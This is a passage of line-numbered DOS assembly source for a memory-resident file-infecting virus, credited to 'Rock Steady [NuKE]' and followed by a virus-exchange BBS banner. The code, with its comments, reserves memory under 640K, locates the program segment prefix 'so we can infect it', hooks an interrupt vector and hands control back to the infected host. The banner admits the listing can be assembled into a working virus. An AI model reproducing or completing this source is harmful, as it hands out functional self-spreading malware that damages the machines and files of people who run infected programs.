  709.                                                  ; At BX (# bytes)
  710.                  SUB     BX,66H                  ; it attaches virus right
  711.                  NOP                             ; under the 640k
  712.                  JC      LOC_46
  713.                  MOV     CX,ES                   ; did it work? If not just
  714.                  STC                             ; end the virus...
  715.                  ADC     CX,BX
  716.                  MOV     AH,4AH
  717.                  INT     21H                     ; Adjust teh memory block
  718.                                                  ; size! BX has the # of bytes
  719.                  MOV     BX,65H
  720.                  STC                             ; Set carry flag
  721.                  SBB     ES:DATA_17E,BX          ; Where to attach itself!
  722.                  PUSH    ES                      ; under 640K
  723.                  MOV     ES,CX
  724.                  MOV     AH,4AH
  725.                  INT     21H                     ; Just change the memory
  726.                                                  ; allocations! (BX=Btyes Size)
  727.                  MOV     AX,ES
  728.                  DEC     AX
  729.                  MOV     DS,AX
  730.                  MOV     WORD PTR DS:DATA_16E,8  ;Same place under 640k
  731.                  CALL    SUB_9
  732.                 MOV      BX,AX
  733.                  MOV     CX,DX
  734.                  POP     DS
  735.                  MOV     AX,DS
  736.                  CALL    SUB_9
  737.                  ADD     AX,DS:DATA_18E
  738.                  ADC     DX,0
  739.                  SUB     AX,BX
  740.                  SBB     DX,CX
  741.                  JC      LOC_45                  ; Jump if carry Set
  742.                  SUB     DS:DATA_18E,AX
  743. LOC_45:
  744.                  MOV     SI,DI
  745.                  XOR     DI,DI                   ; Zero register
  746.                  PUSH    CS
  747.                  POP     DS
  748.                  SUB     SI,4D7H
  749.                  MOV     CX,64EH
  750.                  INC     CX
  751.                 REP     MOVSB                   ; Rep when cx >0 Mov [si] to
  752.                 MOV     AH,62H                  ; es:[di]
  753.                  INT     21H                     ; Get the Program segment
  754.                                                  ; prefix...so we can infect it
  755.                 DEC      BX
  756.                  MOV     DS,BX
  757.                  MOV     BYTE PTR DS:DATA_15E,5AH
  758.                  MOV     DX,1E4H
  759.                  XOR     AX,AX                   ; Zero register
  760.                  PUSH    AX
  761.                  POP     DS
  762.                  MOV     AX,ES
  763.                  SUB     AX,10H
  764.                  MOV     ES,AX
  765.                  CLI                             ; Disable interrupts
  766.                  MOV     DS:DATA_3E,DX           ;
  767.                  MOV     WORD PTR DS:DATA_3E+2,ES
  768.                  STI                             ; Enable interrupts
  769.                  DEC     BYTE PTR DS:DATA_14E    ;
  770. LOC_46:
  771.                  POP     SI
  772.                  CMP     WORD PTR CS:DATA_42E[SI],5A4DH
  773.                  JNE     LOC_47                  ; Jump if not equal
  774.                  POP     DS
  775.                  MOV     AX,CS:DATA_46E[SI]
  776.                  MOV     BX,CS:DATA_45E[SI]      ; all this shit is to restore
  777.                  PUSH    CS                      ; the program and continue
  778.                  POP     CX                      ; running the original
  779.                  SUB     CX,AX                   ; program...
  780.                  ADD     CX,BX
  781.                  PUSH    CX
  782.                  PUSH    WORD PTR CS:DATA_44E[SI]
  783.                  PUSH    DS
  784.                  POP     ES
  785.                  CALL    SUB_10
  786.                  RETF
  787. LOC_47:
  788.                  POP     AX
  789.                  MOV     AX,CS:DATA_42E[SI]
  790.                  MOV     WORD PTR CS:[100H],AX
  791.                  MOV     AX,CS:DATA_43E[SI]
  792.                  MOV     WORD PTR CS:[102H],AX
  793.                  MOV     AX,100H
  794.                  PUSH    AX
  795.                  PUSH    CS
  796.                  POP     DS
  797.                  PUSH    DS
  798.                  POP     ES
  799.                  CALL    SUB_10
  800.                 RETN
  801. SUB_11           ENDP
  802.  
  803.  
  804. SEG_A            ENDS
  805.  
  806.  
  807.  
  808.                  END     START
  809.  
  810.  
  811.  
  812.  
  813.  Rock Steady [NuKE]
  814.  
  815. ;****************************************************************************;
  816. ;                                                                            ;
  817. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  818. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  819. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  820. ;                     -=]                            [=-                     ;
  821. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  822. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  823. ;                     -=]                            [=-                     ;
  824. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  825. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  826. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  827. ;                                                                            ;
  828. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  829. ;                                                                            ;
  830. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  831. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  832. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  833. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  834. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  835. ; Is. Keep This Code in Responsible Hands!                                   ;
  836. ;                                                                            ;
  837. ;****************************************************************************;
  838.  
  839. ;─────────────────────────────────────────────────────────────────────────;
  840. ;──────────────────> and Remember Don't Forget to Call <──────────────────;
  841. ;────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────;
  842. ;─────────────────────────────────────────────────────────────────────────;
  843.  
  844.